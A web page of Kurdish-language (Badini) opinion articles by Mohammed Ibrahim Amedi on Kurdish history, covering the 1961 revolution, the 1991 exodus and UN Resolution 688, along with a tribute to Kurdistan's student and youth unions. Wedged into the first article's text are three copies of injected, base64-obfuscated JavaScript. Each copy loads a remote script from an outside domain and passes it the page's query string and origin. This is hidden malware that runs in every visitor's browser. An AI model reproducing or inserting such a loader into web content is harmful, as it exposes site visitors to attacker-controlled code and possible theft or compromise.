سه‌ر سیسته‌مێ رژێمێن به‌رێ چوون به‌رانبه‌رى كوردان، ئه‌و رێكه‌فتن و سۆزێن ل گه‌ل بارزانى گۆتین بۆ ملله‌تێ كورد بجه نه‌ئینان، هه‌ر چه‌نده‌ گه‌له‌ك هه‌ول بزاڤ هاتنه‌كرن ژ لایێ بارزانى و ه‌ركرده‌یا كوردى ڤه‌ بۆ چاره‌سه‌ركرنا هه‌مى ئاریشه‌یان ب زمانێ دیالۆگێ وگوفتوگۆیان و پێشكێشكرنا بیرئانینه‌كێ، ئانكو یاداشنامه‌ك، بۆ سه‌رۆكاتیا كۆمارا ئیراقێ ب ناڤێ ملله‌تێ كورد و پارتى دیموكراسى كوردستان ل 20-11-1961 یا پێكهاتى بوو ژ 15 بابه‌ت و بریگه‌یان. لێ جهێ داخێ بوو ئه‌و بیرئانینه‌ یا بێ ئه‌نجام بوو. (عه‌بدولكه‌ریم قاسمى) سه‌رۆك كۆمارێ ئیراقێ ل جاتى زمانێ دیالۆگێ و ئاشتیێ، هێزێن سوپایى ڤرێكرنه‌ كوردستانێ ب مه‌ره‌ما ژ ناڤبرنا شۆره‌شا كوردى وچ ب ده‌ستێ ملله‌تى نه‌ما ژبلى به‌رده‌وامبوونا شۆره‌شا 11 ئه‌یلۆلێ ب سه‌رپه‌رشتیا بارزانیێ نهم مسته‌فا كو ل11-9-1961 چریسكێن خوه‌ ڤه‌دان، و ئاگرێ بزاڤ و خه‌باتێ ل سه‌رانسه‌رى كوردستانێ هه‌لدان، وه‌ك شۆره‌شه‌كا پێكهاتیێن ملله‌تێ كورد و ئیراقێ و به‌رهه‌مێ ڤێ شۆره‌شێ رێكه‌فتنا 11 ئادارێ بوو. لێ رژێما گۆر به‌گۆر رێككه‌فتنا ره‌ش یا جه‌زائیرێ ل گه‌ل شاهێ ئیرانێ ل 6-3-1975 ل دژى كوردان مۆهركر، جاره‌كا دى چ ب ده‌ستێ كوردان نه‌ما ب شۆره‌شه‌كا دى رابن، ئه‌و ژى شۆره‌شا گۆلانێ بوو ل 26-5-1975. تا سه‌رهه‌لدانا ئادارا سالا1991 یا جه‌ماوه‌رێ كوردى یا پیرۆز، سوپاس بۆ خودایێ مه‌زن و دلۆڤان و بزاڤا رزگاریخوزا كوردى و خوینا وان خورته‌ مێر و عه‌گیدان شه‌هیدێن سه‌بلن و هه‌رده‌م ساخ و خه‌باتا سه‌ركردایه‌تیا كوردى ب كه‌سایه‌تیا سه‌رۆك مسعود بارزانى؛ ئه‌ڤرۆ ئه‌م خودان حوكمه‌تا هه‌رێما كوردستانێ نه‌ و په‌رله‌مانێ هه‌لبژارتى و جڤاتا وه‌زیران و جڤاتێن پارێزگه‌هان و باژێرڤانیان و هێزا پێشمه‌رگێن قاره‌مان پارێزه‌رێن گه‌ل وه‌لات و خاك نیشتیمان.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

محه‌مه‌د ئیبراهیم ئامێدی
سترانا خودێ ژێ رازی (عه‌بدالله زێرین) ل بیرا مه‌ هه‌میان بیت ل ده‌مێ گۆتی (ئه‌گه‌ر بیرا حه‌له‌بجه‌ ل بیرا وه‌ بیت و بیرا چه‌لـێ ل بیرا وه‌ بیت و بیرا ئه‌نفالا ل بیرا وه‌ بیت و ئه‌گه‌ر دلـه‌ك د سینگێ مه‌دا هه‌بیت، دێ سینگێ خوه‌ ڤه‌كه‌ین ودێ دلێ خوه‌ ئینه‌ ده‌ر ودێ ل سه‌ر نڤیسین (یان كوردستان یان نه‌مان)، كو كۆچا ملیۆنى زه‌میر و وژدانا خه‌لكێ جیهانێ هه‌ژاند، ب ملیۆنان رۆندك باراندن و شه‌مالك هه‌لكرن و لاڤا بۆ ملله‌تێ كورد كرن.
ل ٢٨/٣/١٩٩١ ژبه‌ر سته‌مكاریا رژێما گۆربه‌گۆر و مه‌ترسیا كارئینانا كیمیاوی دژی كوردان، وه‌ك باژێرێ حه‌له‌بجه‌یا شه‌هید و هێزێن سۆپایێ ئیراقێ ده‌ست ب هێرشان كرن ل سه‌ر باژێر و باژێركێن كوردستانێ، بكارئینانا فرۆكه‌یێن هێلیكۆپته‌ر و تۆپخانه‌یا سۆپای، جه‌ماوه‌رێ كوردی نه‌چاربوو به‌ر ب ده‌وله‌تێن هه‌ڤسوى ڤه‌ بچیت، وه‌ك كۆمارا ئیرانێ و توركیا و رێژه‌كا كێم بۆ كۆمارا سووریا ب ملیۆنان كه‌س حال و مالێن خوه‌ هێلان. ب سه‌دان كیلۆمتران وه‌ك په‌یاده‌ ل ژێر سه‌قایه‌كێ سه‌قه‌م و سه‌ڕما و بارینا به‌فر و بارانان، برسی و پێخاس نه‌ جه و بالگه‌ه و ب سه‌دان بوونه‌ قوربانی تا گه‌هشتینه‌ جهێن پێدڤی. ل ژێر بارودۆخێن ژیارێ یێن سه‌خت و دژوار وه‌ك كاره‌ساته‌كا مه‌زن ب سه‌رێ كوردان هاتی. له‌ورا خه‌لكێ شه‌ره‌فمه‌ند یێ وان ده‌وله‌تان هاتنه‌ هه‌وارا، رێكخراوێن مرۆڤایه‌تی و پزیشكێن بێ سنوور ب رۆلێ خوه‌ یێ مرۆڤایه‌تی وهاریكار رابوون و ژ لایه‌كێ دیڤه‌ فرۆكه‌یێن تایبه‌ت یێن هه‌ڤپه‌یمانا ئاهێن خوارنێ و كه‌لوپه‌لێن پێدڤی ل ئه‌سمانان بۆ هاڤیتنه‌ خوارێ، كه‌سانێنن ب ناڤوده‌نگ و دپلۆماسی سه‌ر ئاستێ جیهانێ سه‌ره‌دانا كۆچبه‌ر و خیڤه‌تگه‌هان كرن، یا گرنك بریارا ژماره‌ (٦٨٨) ل٥/٤/١٩٩١ژ جڤاتا ئاسایشا نه‌ته‌ویێن ئێكگرتی ده‌ركه‌فت، ل په‌ی بڕگه‌یا حه‌فتێ ژ مادێ سێ یێ به‌لگه‌نامه‌یا نه‌ته‌ویێن ئێكگرتی و یا پێكهاتی بۆ ژ حه‌فت خالا كو هه‌می كارێن نه‌مرۆڤایه‌تی یێن رژێما ئیراقێ رسواكرن و ل زۆترین ده‌م به‌رنامێ هه‌وار هاتنێ و هاریكاریێ ده‌ستپێكه‌ت، ب پشكداریا هه‌می ده‌وله‌تێن ئه‌ندام و رێكخراوێن مرۆڤایه‌تی. ب به‌لاڤه‌كرنا د گیۆمێنتێن رویدان و دنگوباسێن ڤێ كۆچێ ل سه‌ر شاشه‌یێن ته‌له‌فزیۆنان و بنگه‌هێن میدیایا جیهانی، وه‌ك مه‌زنترین ریفراندۆما ملله‌تێ كورد بۆ سه‌ربه‌خوه‌یێ.كو هه‌میان زانی ملله‌ته‌كێ هه‌ی كوردن؛ هه‌تا نوكه‌ د بێبه‌هرن ژ بچویكترین مافێ ره‌وا و كیانه‌كێ سه‌ربخوه‌، ژبلی ئیراده‌یا (رب العالمین) ئیراده‌یا ملله‌تێ كورد مه‌زنتره‌ ژ هه‌می ئیراده‌یان و كۆچا ملیۆنی ب ئه‌نجامێن باش بسه‌ركه‌فت و خه‌لكانه‌كێ بیانی ب گه‌ل و حوكمه‌ت ڤه‌ پشته‌ڤان و هاریكاربوون ل گه‌ ل مه‌ وه‌ك ملله‌تێ كورد هه‌ر ژ وێ رۆژێ تا ئه‌ڤرۆ، ئه‌ڤجا چما ئه‌م دگه‌ل ئێكود دهاریكار نابین؟. ژبلی رژێمێن ره‌گه‌زپه‌رست و شۆفینی و وان كه‌سانێن تا نوكه‌ سه‌ره‌ده‌ریێ دگه‌ل كوردان دكه‌ن ل دوڤی سیسته‌مێ رژێمێن به‌رێ. لێ یا هه‌ره‌ گرنك ئه‌ڤ هه‌می چه‌نده‌ و ٣٣ سالێن بۆرین ببنه‌ سه‌ربۆره‌كێ ئه‌كتیڤ وبه‌رهه‌مدار بۆ ئێكگرتنا ملله‌تێ كورد، ب ئێكرێزی و ئێك گۆتارا سیاسی و د ئێك سه‌نگه‌ردا بین به‌رانبه‌ری هه‌ر قه‌یران و ئاریشه‌كێ و بارودۆخه‌كی، كو رۆلێ سه‌رۆك مه‌سعود بارزانی یێ پیرۆز یێ دیار و ئاشكه‌رایه‌ د ڤی بیاڤی دا وه‌كو یا دیار د هاریكاریا زیانڤێَكه‌فتیان ل دهۆكێ و زاخۆ و ده‌ڤه‌رێن دی ژ ئه‌گه‌رێ رویدانێن لافا ل رۆژێن ١٩ و٢٠/٣/٢٠٢٤ ڤێ چه‌ندێ دسه‌لمینیت و چه‌سپینیت. هه‌روه‌سا ده‌ست ب ده‌ست بۆ پاراستنا ده‌ستكه‌فتیێن ملله‌ت و حوكمه‌تا هه‌رێما كوردستانێ. سه‌خمه‌راتی كوردستانه‌كا سه‌ربه‌خوه‌ تیرۆشكێن سه‌ركه‌فتنێ لێ ڤه‌ده‌ن بۆ هه‌موو لایێن جیهانێ.

محه‌مه‌د ئیبراهیم ئامێدى
ب رێز و نه‌وازش ڤه‌ بۆ گیانێ پاكێ شه‌هیدێن رێبازا قوتابیان و لاوێن كوردستانێ و ته‌ڤا یا شه‌هیدێن كورد و كوردستانێ رادوه‌ستین، هه‌ژی ئاماژێ یه‌ كو هه‌ردو ئێكه‌تی، ژ به‌رهه‌مێ بزاڤا رزگاریخوازیا كوردینه‌ و ئێك ژ پێنگاڤێن مێژوویى و گرنگ پشتى دامه‌زراندنا پارتى دیموكراتى كوردستان ل 16 ته‌باخا 1946, دامه‌زراندنا ئێكه‌تیا قوتابیانى كوردستان ل 18 سباتا 1953و لاوێن كوردستانێ ل ژێر هه‌ردو په‌یڤ و درووشمێن بابێ روحی یێ نه‌ته‌وا كورد بارزانیێ نه‌مر مسته‌فا گۆتین؛ (قوتابی سه‌رێ رمێنه‌ د هه‌موو شۆرش و سه‌رهلدانان دا، لاوێن كوردستانێ شیرها پیلایینه‌). كو باوه‌ریه‌كا مه‌زن یا هه‌ى ب ئه‌رك و رۆلێ قوتابى و لاوان وه‌ك مه‌زنترین ته‌خا جڤاكى د ناڤ ملله‌تى دا د بیاڤێ، ئاڤاكرنا جڤاكێ مه‌ده‌نى یێ پێشكه‌فتى وه‌ك ژێده‌ر و قوتابخانا ده‌رچوونا خۆرته‌ مێره‌ و عه‌گید و شۆرشگێران و ئاڤاكه‌رێن جڤاكێ پێشكه‌فتى. ل پاشه‌ڕۆژه‌كا گه‌ش وه‌رگرتنا به‌رپرساتیا (گه‌ل و خاك و وه‌لات و نیشتمان) دێ كه‌ن, شه‌نگستێ پێشڤه‌برنا ملله‌تینه‌ ب دیرۆكه‌كا دویر و درێژ یا پڕ خه‌بات و جانفیدایێ.
قوتابی و لاوێن كوردستانێ مه‌زنترین ته‌خا جڤاكینه‌ و گركترین هێزه‌ بۆ وه‌لاتی، ئاڤه‌كه‌رێن پاشه‌ڕۆژا ملله‌تینه‌. له‌ورا قوتابی و لاوێن كوردستانێ د داخوازكرینه‌ به‌ر ب دانانا پلان و هێڤێنێ گوهۆرینێن به‌رده‌وام و سه‌ركه‌فتنێن به‌رز و بالا بۆ به‌رزكرنا رۆلێ خوه‌ یێ كاریگه‌ر د بیاڤێ بلندكرنا ئاستێ به‌رپرسایه‌تیێ و پێكڤه‌ژیانێ و به‌رگریێ ژ ئه‌زمۆنا هه‌رێما كوردستانێ و رێكخستنا مالا كوردی ب ئێكرێزیێ و ب ئێك گۆتارا سیاسى و هه‌لوه‌ست و خوه‌ئاماده‌كرن بۆ به‌رگریكرن ژ مافێ ره‌وا و سه‌ربخوه‌یێ ب ئه‌كتیفكرنا ره‌گه‌ز و بنه‌مایێن ده‌وله‌تبوونێ، بلندكرنا ئاستێ زانین و زانستێ و به‌ر ب ته‌رخانكرنا هه‌موو ده‌م و بزاڤان بۆ خواندنێ و زانستێ د هه‌موو قۆناغێن فێربوونێ دا، وه‌ك چه‌كه‌كێ دوژوار ب ده‌ستخوه‌ڤه‌ بینین بۆ پاشه‌ڕۆژه‌كا گه‌شبین و سه‌ربه‌خوه‌یێ و شارستانیه‌كا سه‌رده‌م و پێشكه‌فتی و پاراستنا ناسنامه‌یا نه‌ته‌وه‌یى و هۆشمه‌ندیا به‌رده‌وام بۆ بلندكرنا ئاستێ گه‌شه‌پێدانه‌كا هه‌ستیار بۆ كومه‌لێ كوردی. ژبیر نه‌كه‌ن ل سه‌ر وێ رێبازا پیرۆز یا خه‌مخۆریێ و دلسۆزیێ و وه‌فاداریێ بچین بۆ ئاڤاكرنا كوردستانێ و به‌رزكرنا ئالایێ كوردستانێ یێ ره‌نگین و سروودا نیشتمانی (ئه‌ی ره‌قیب) و به‌ر ب سه‌نگه‌ره‌كێ خۆرستى ڤه‌ بچین به‌رانبه‌رى نه‌خشه‌ و پلانێن نه‌حه‌ز و دوژمنان. دا كو بمینیت كوردستان هه‌رده‌م بنگه‌هێ ئاشتیێ و ئازادیێ و سه‌ربه‌ستیێ تیرۆشكێن سه‌ركه‌فتنا و پێشكه‌فتنا ڤه‌ده‌ن بۆ هه‌موو ره‌خ و لایێن جیهانێ.